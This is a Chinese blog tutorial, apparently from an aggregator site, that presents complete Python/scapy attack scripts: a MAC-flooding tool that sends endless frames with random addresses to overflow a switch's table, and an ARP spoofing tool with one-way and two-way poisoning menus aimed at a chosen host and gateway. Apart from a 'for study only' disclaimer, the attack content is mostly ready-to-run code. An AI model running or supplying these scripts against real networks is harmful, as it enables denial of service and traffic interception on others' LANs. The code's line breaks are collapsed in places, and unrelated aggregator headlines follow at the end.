python 实现MAC泛洪与ARP欺骗
创始人
2024-01-30 10:28:02

声明:本文章的一切内容仅用于交流与学习

目录

一、Python scapy

二、MAC泛洪

三、ARP欺骗


一、Python scapy

scapy提供了构造、发送、接收、分析数据包的功能

scapy的内容很多这里只说明要用到的内容

RandMAC:自动生成一个随机的MAC地址

packet = Ether(src=MAC1, dst=MAC2) / IP(src=IP1, dst=IP2)

Ether是指定MAC地址用的,IP是第三层指定IP

sendp 发送二层报文

send 发送三层报文

基本上这些就够用了

二、MAC泛洪

很早很早之前写过用macof工具来实现MAC泛洪,现在要自己写一个!

MAC泛洪原理前面也写过,如果不清楚可以去看——》传送门

MAC泛洪的实质其实就是发送一堆随机的MAC地址,从而占满交换机的MAC地址表,但是发IPV4的报文还是需要指定IP的

所以第一步就是构造一组假的源目IP 源目MAC地址

构造MAC地址非常容易只需要使用RandMAC就可以生成

构造IP,需要写一个小函数

def randIP():ip=""for i in range(3):ip=ip+str(random.randint(0,255))+"."ip=ip+str(random.randint(0,255))return ip

分析一下,其实就是先循环三遍每一遍向字符串中添加一个0-255的数和一个点,如192. 

最后再加一个数,构成一个完整的ip格式

有了这两个函数以后,就可以构造数据包了

MAC1=RandMAC("*:*:*:*:*:*")
MAC2 = RandMAC("*:*:*:*:*:*")
IP1=randIP()
IP2=randIP()
packet = Ether(src=MAC1, dst=MAC2) / IP(src=IP1, dst=IP2)

源目MAC地址 源目IP 默认为IPV4报文

接下来就是发送,因为scapy发送有一个小瑕疵,就是每次都输出一个发送成功,影响美观,于是做点小改动

 oldPrint = sys.stdoutsys.stdout = open('trash.txt', 'w')sendp(packet, iface=iface, loop=0)sys.stdout = oldPrintprint(f"{MAC1}---------->{MAC2}   /IP  {IP1}---------->{IP2}")

这样就可以自定义输出格式了

到这里MAC泛洪的一个数据包就构造发送好啦,剩下的就是循环了

这里说一下sendp 有一个参数iface是用来指定网卡的,可以加进去,动态选择网卡

把上面的内容封装了一下,输入处理了一下

完整代码

from scapy.all import *
from scapy.layers.inet import *
import random
def randIP():ip=""for i in range(3):ip=ip+str(random.randint(0,255))+"."ip=ip+str(random.randint(0,255))return ip
iface='eth0'
def gj():MAC1=RandMAC("*:*:*:*:*:*")MAC2 = RandMAC("*:*:*:*:*:*")IP1=randIP()IP2=randIP()packet = Ether(src=MAC1, dst=MAC2) / IP(src=IP1, dst=IP2)oldPrint = sys.stdoutsys.stdout = open('trash.txt', 'w')sendp(packet, iface=iface, loop=0)sys.stdout = oldPrintprint(f"{MAC1}---------->{MAC2}   /IP  {IP1}---------->{IP2}")
def ts():global ifacea=int(input(f"当前网卡为{iface},【1】更改网卡,【2】发起攻击,【3】指定攻击次数,【0】退出\n"))if a==1:iface=input("请输入网卡名\n")ts()returnelif a==2:while True:gj()elif a==3:b=int(input("输入攻击次数\n"))print("攻击开始....")for i in range(b):gj()elif a==0:return
print("*" * 25 + "MAC泛洪攻击" + "*" * 25)
ts()

运行效果

 

三、ARP欺骗

arp欺骗原理——》传送门 

arp欺骗其实更简单,明白原理代码反而好写

完整代码,相信各位大佬都能看懂,看不懂直接留言或私信都可

from scapy.all import *
from scapy.layers.inet import *
from scapy.layers.l2 import ARP
import timedef get_mac_address():import uuidnode = uuid.getnode()mac = uuid.UUID(int = node).hex[-12:]MAC = ":".join([mac[e:e + 2] for e in range(0, 11, 2)])return MAC
print(get_mac_address())
def dx(IP1,IP2):a=get_mac_address()pkt=ARP(psrc=IP1,hwsrc=a,pdst=IP2,op=2)oldPrint = sys.stdoutsys.stdout = open('trash.txt', 'w')send(pkt)sys.stdout = oldPrintprint(f"{a} : 告诉{IP2},{IP1} 的MAC地址是{a}")
def fx(IP1,IP2):a = get_mac_address()pkt = ARP(psrc=IP2, hwsrc=a, pdst=IP1, op=2)oldPrint = sys.stdoutsys.stdout = open('trash.txt', 'w')send(pkt,iface="eth0")sys.stdout = oldPrintprint(f"{a} : 告诉{IP1},{IP2} 的MAC地址是{a}")print("*"*25+"ARP欺骗"+"*"*25)
a=int(input("【1】单向欺骗【2】双向欺骗【0】退出\n"))
if a==1:IP1=input("请输入要攻击的主机IP\n")IP2 = input("请输被欺骗的主机IP/网关\n")while True:dx(IP1,IP2)time.sleep(1)
elif a==2:IP1 = input("请输入IP1\n")IP2 = input("请输入IP2\n")while True:dx(IP1,IP2)fx(IP1,IP2)time.sleep(1)
else:exit(0)

运行效果

 

 

因为是单向欺骗,所以PC1 ping PC2 可以通, PC2 ping PC1 通不了

接下来就是双向欺骗

 

 

 都不通啦

 

相关内容

热门资讯

埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
最安全的匿名举报方式 匿名12... 来源:中安在线8月9日,河北邢台小伙张钊(化名)在河北政务服务网12345平台举报楼上邻居涉嫌非法开...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
中国光棍有多少人 2020年9... 我国是世界上人口最多的国家,庞大的人口基数为我国的发展带来了许多的益处。但是同时,我国也是出生人口性...
埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...